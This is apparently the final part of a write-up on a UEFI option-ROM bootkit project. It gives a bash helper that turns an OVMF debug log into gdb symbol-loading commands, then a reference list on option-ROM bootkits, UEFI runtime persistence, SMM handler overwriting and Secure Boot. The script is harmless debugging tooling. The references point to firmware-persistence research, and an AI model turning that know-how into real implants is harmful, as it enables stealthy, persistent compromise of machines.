gen_symbol_offsets.sh, adapted from [5]
``
#!/bin/bash
LOG="../debug.log"
PEINFO="peinfo/peinfo"
cat ${LOG} | grep Loading | grep -i efi | while read LINE; do
BASE="`echo ${LINE} | cut -d " " -f4`"
NAME="`echo ${LINE} | cut -d " " -f6 | tr -d "[:cntrl:]"`"
EFIFILE="`find <path to edk2>/Build/MdeModule/DEBUG_GCC5/X64 -name ${NAME} \
-maxdepth 1 -type f`"
if [ -z "$EFIFILE" ]
then
:
else
ADDR="`${PEINFO} ${EFIFILE} \
| grep -A 5 text | grep VirtualAddress | cut -d " " -f2`"
TEXT="`python -c "print(hex(${BASE} + ${ADDR}))"`"
SYMS="`echo ${NAME} | sed -e "s/\.efi/\.debug/g"`"
SYMFILE="`find <path to edk2>/Build/MdeModule/DEBUG_GCC5/X64 -name ${SYMS} \
-maxdepth 1 -type f`"
echo "add-symbol-file ${SYMFILE} ${TEXT}"
fi
done
``
<========================================================================================>
references:
[1] https://x86sec.com/posts/2022/09/26/uefi-oprom-bootkit
[2] https://casualhacking.io/blog/2020/1/4/executing-custom-option-rom-on-\
nucs-and-persisting-code-in-uefi-runtime-services
[3] https:// casualhacking.io/blog/2019/12/3/using-optionrom-to-overwrite-\
smmsmi-handlers-in-qemu
[4] https://laurie0131.gitbooks.io/memory-protection-in-uefi-bios/content/\
protection-for-pe-image-uefi.html
[5] https://retrage.github.io/2019/12/05/debugging-ovmf-en.html
[6] http://ftp.kolibrios.org/users/seppe/UEFI/Beyond_BIOS_Second_Edition_\
Digital_Edition_(15-12-10)%20.pdf
[7] https://wikileaks.org/ciav7p1/cms/page_31227915.html
[8] https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/uefi-\
validation-option-rom-validation-guidance?view=windows-10
[9] https://www.intel.com/content/www/us/en/support/articles/000005790/software/\
manageability-products.html
[10] https://lkml.iu.edu/hypermail/linux/kernel/1509.2/06385.html
[11] https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/
[12] https://bsdio.com/edk2/docs/master/_boot_android_boot_img_8c_source.html
[13] https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/7_driver_entry_point/\
72_uefi_driver_model
[14] https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/18_pci_driver_\
design_guidelines/readme.3/1831_supported
[15] https://wiki.debian.org/SecureBoot/VirtualMachine
thank U to place and seer for helping me with this project ^_^